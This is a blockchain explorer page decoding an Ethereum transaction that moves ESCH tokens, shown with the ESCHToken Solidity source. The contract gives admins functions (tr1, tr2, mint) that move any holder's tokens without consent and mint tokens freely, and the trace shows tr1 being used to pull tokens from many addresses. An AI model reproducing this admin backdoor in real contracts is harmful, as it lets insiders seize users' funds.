ETH Price: $2,445.44 (+4.38%)

Transaction Decoder

Block:
10905275 at Sep-21-2020 10:43:23 AM +UTC
Transaction Fee:
0.368304806281443647 ETH $900.67
Gas Used:
1,461,527 Gas / 252.000001561 Gwei

Emitted Events:

105 ESCHToken.Transfer( from=[Sender] 0xe3c98a407f9f390a3ab621e3d6eb1f0382b2a803, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
106 ESCHToken.Transfer( from=0x0000000000000000000000000000000000000000, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
107 ESCHToken.Transfer( from=0xb519D06502aBFD33905E825029D31FfA0f2Ee13E, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=3000000000000000000 )
108 ESCHToken.Transfer( from=0xC4e4f385c1FaD77b2Edae0318D03a7Ccf6fc80A6, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=2000000000000000000 )
109 ESCHToken.Transfer( from=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=1000000000000000000 )
110 ESCHToken.Transfer( from=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=500000000000000000 )
111 ESCHToken.Transfer( from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=300000000000000000 )
112 ESCHToken.Transfer( from=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
113 ESCHToken.Transfer( from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
114 ESCHToken.Transfer( from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
115 ESCHToken.Transfer( from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
116 ESCHToken.Transfer( from=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, to=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, value=25000000000000000000 )
117 ESCHToken.Transfer( from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=1000000000000000000 )
118 ESCHToken.Transfer( from=[Sender] 0xe3c98a407f9f390a3ab621e3d6eb1f0382b2a803, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=35120000000000000000 )

Account State Difference:

  Address   Before After State Difference Code
0x16A447EF...f17b28c77 82.058190103716172276 Eth82.078190103716172276 Eth0.02
0x205AEf6D...6D8647bb3 0.932711743267290623 Eth1.062711743267290623 Eth0.13
0x284039a7...6D69a193c 80.904445633106358141 Eth80.924445633106358141 Eth0.02
0x2fC64Bb3...Fd53376fF 4.033412714739023733 Eth4.133412714739023733 Eth0.1
0x3C6C214b...2c9Ca9A06 2,749.702 Eth2,755.1 Eth5.398
0x3fFdCF27...316ccE70a 151.659185349882094 Eth151.859185349882094 Eth0.2
0x6c7C5238...E4160c8E8 1.695445301441678328 Eth1.745445301441678328 Eth0.05
0x75d7Cab1...e1EDC8761 13.794685692708674161 Eth13.814685692708674161 Eth0.02
0xA821F14f...c90372453
0xb519D065...A0f2Ee13E 6.358784277027640937 Eth6.658784277027640937 Eth0.3
0xC4e4f385...cf6fc80A6 12.257051022143133731 Eth12.457051022143133731 Eth0.2
0xe1d01e8A...FCF20573d 6.438 Eth6.468 Eth0.03
0xE3C98a40...382B2A803
24.099840110264895119 Eth
Nonce: 113
17.243535303983451472 Eth
Nonce: 114
6.856304806281443647
(Ethermine)
1,674.625436431885557283 Eth1,674.99374123816700093 Eth0.368304806281443647
0xfEe92A1f...B9A02A4f3 20.856103805010222243 Eth20.876103805010222243 Eth0.02

Execution Trace

ETH 10 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
  • ESCHToken.cxesch( _c1=0xE3C98a407F9f390A3ab621e3D6Eb1f0382B2A803 ) => ( _j1=1143440000000000000000 )
  • ESCHToken.tr1( _from=0xE3C98a407F9f390A3ab621e3D6Eb1f0382B2A803, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ETH 0.2 0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( )
  • ETH 0.03 0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( )
  • ESCHToken.cxesch( _c1=0xb519D06502aBFD33905E825029D31FfA0f2Ee13E ) => ( _j1=104082904477771431936 )
  • ETH 0.3 0xb519d06502abfd33905e825029d31ffa0f2ee13e.CALL( )
  • ESCHToken.tr1( _from=0xb519D06502aBFD33905E825029D31FfA0f2Ee13E, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=3000000000000000000 )
  • ESCHToken.cxesch( _c1=0xC4e4f385c1FaD77b2Edae0318D03a7Ccf6fc80A6 ) => ( _j1=203306789202644451328 )
  • ETH 0.2 0xc4e4f385c1fad77b2edae0318d03a7ccf6fc80a6.CALL( )
  • ESCHToken.tr1( _from=0xC4e4f385c1FaD77b2Edae0318D03a7Ccf6fc80A6, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=2000000000000000000 )
  • ESCHToken.cxesch( _c1=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF ) => ( _j1=409867340825302761472 )
  • ETH 0.1 0x2fc64bb397e0e0c82f544d6e8a16f72fd53376ff.CALL( )
  • ESCHToken.tr1( _from=0x2fC64Bb397e0e0C82F544d6e8A16F72Fd53376fF, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=1000000000000000000 )
  • ESCHToken.cxesch( _c1=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8 ) => ( _j1=914696104126513807360 )
  • ETH 0.05 0x6c7c52384cb15382d143ce8f8b61f5ce4160c8e8.CALL( )
  • ESCHToken.tr1( _from=0x6c7C52384CB15382d143cE8F8B61F5CE4160c8E8, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=500000000000000000 )
  • ESCHToken.cxesch( _c1=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3 ) => ( _j1=1221664559525954863104 )
  • ETH 0.03 0x205aef6da777509b07a9cfb36e3a7606d8647bb3.CALL( )
  • ESCHToken.tr1( _from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=300000000000000000 )
  • ESCHToken.cxesch( _c1=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761 ) => ( _j1=12927533359525954863104 )
  • ETH 0.02 0x75d7cab1b399f4206a2b1f2dce84bd3e1edc8761.CALL( )
  • ESCHToken.tr1( _from=0x75d7Cab1B399f4206A2b1f2dcE84Bd3e1EDC8761, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=2529232282704378396672 )
  • ETH 0.02 0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( )
  • ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=2088827304302142619648 )
  • ESCHToken.cxesch( _c1=0x16A447EFb3ac106079c057D0dC669b8f17b28c77 ) => ( _j1=18452124808000000000000 )
  • ETH 0.02 0x16a447efb3ac106079c057d0dc669b8f17b28c77.CALL( )
  • ESCHToken.tr1( _from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x284039a7D1aE056C2bd22348a4E15086D69a193c ) => ( _j1=7346138579101024731136 )
  • ETH 0.02 0x284039a7d1ae056c2bd22348a4e15086d69a193c.CALL( )
  • ESCHToken.tr1( _from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.tr1( _from=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _to=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _value=25000000000000000000 )
  • ETH 0.1 0x205aef6da777509b07a9cfb36e3a7606d8647bb3.CALL( )
  • ESCHToken.tr1( _from=0x205AEf6Da777509B07a9CfB36E3a7606D8647bb3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=1000000000000000000 )
  • ETH 3.512 0xe3c98a407f9f390a3ab621e3d6eb1f0382b2a803.CALL( )
  • ESCHToken.tr1( _from=0xE3C98a407F9f390A3ab621e3D6Eb1f0382B2A803, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=35120000000000000000 )
    pragma solidity 0.4.18;//20190809 
    ////////////
    contract ESCHToken  {
     string public constant name = "Esch$Token";
      string public constant symbol = "ESCH$";        
      uint8 public constant decimals = 18;
      uint256 public totalSupply;
      address  owner;
      uint32 hl=1000;
      address SysAd0; 
     
        mapping (address => uint256) public balanceOf;
     
        mapping (address => mapping (address => uint256)) public allowance;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        
        event Burn(address indexed from, uint256 value);
     
        mapping (address => bool) admin;
    
     
       function ESCHToken () public {
          totalSupply = 10200000 ether;                          // Update total supply
          balanceOf[msg.sender] = totalSupply;
    	  owner = msg.sender;                             //  
    	  admin[owner]=true;
     //	  hl=1000;
        }
    
        function transfer(address _from, address _to, uint _value) internal {
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint previousBalances = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        }
    
        function transfer(address _to, uint256 _value) public {
            transfer(msg.sender, _to, _value);
        }
    
        function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
            require(_value <= allowance[_from][msg.sender]);     // Check allowance
            allowance[_from][msg.sender] -= _value;
            transfer(_from, _to, _value);
            return true;
        }
    
        function approve(address _spender, uint256 _value) public
            returns (bool success) {
            allowance[msg.sender][_spender] = _value;
            return true;
        }
    
    
        function burn(uint256 _value) public returns (bool success) {
            require(balanceOf[msg.sender] >= _value);
            balanceOf[msg.sender] -= _value;
            totalSupply -= _value;
            Burn(msg.sender, _value);
            return true;
        }
    
        function burnFrom(address _from, uint256 _value) public returns (bool success) {
            require(balanceOf[_from] >= _value);
            require(_value <= allowance[_from][msg.sender]);
            balanceOf[_from] -= _value;
            allowance[_from][msg.sender] -= _value;
            totalSupply -= _value;
            Burn(_from, _value);
            return true;
        }
     
        function setadmin (address _admin) public {
        require(admin[msg.sender]==true);
        admin[_admin]=true;
       }
    
     
        function mint(address _ad,uint256 _sl) public  {    
        require(admin[msg.sender]==true);
        balanceOf[_ad]+= _sl;
           totalSupply+= _sl;
            Transfer(0, _ad, _sl);
        }
    
     
        function cxesch (address _c1) public view returns(uint256 _j1){
            return( balanceOf[_c1]);
        }
    
        function SetAw0(address _adA0) public {
        assert(admin[msg.sender]==true);   
        SysAd0=_adA0;
        }   
    
        function hl0(uint32 _hl) public {
        assert(admin[msg.sender]==true);   
        hl=_hl;
        }       
      ///////////
    
        function gm() public payable {
        require (balanceOf[SysAd0]>=hl*msg.value);    
        require (msg.value>=0.1 ether);
        transfer(SysAd0, msg.sender, hl*msg.value);
        SysAd0.transfer(msg.value);
        }
         //
          function tr1(address _from, address _to, uint _value) public {
             assert(admin[msg.sender]==true);    
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint pre1 = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == pre1);
        } 
        //
           function tr2(address _to, uint _value) public {
            assert(admin[msg.sender]==true);  
            require (totalSupply<100000000 ether); 
            require(balanceOf[_to] + _value > balanceOf[_to]);
            totalSupply +=_value;
            balanceOf[_to] += _value;
            Transfer(0, _to, _value);
        }   
        
     
    }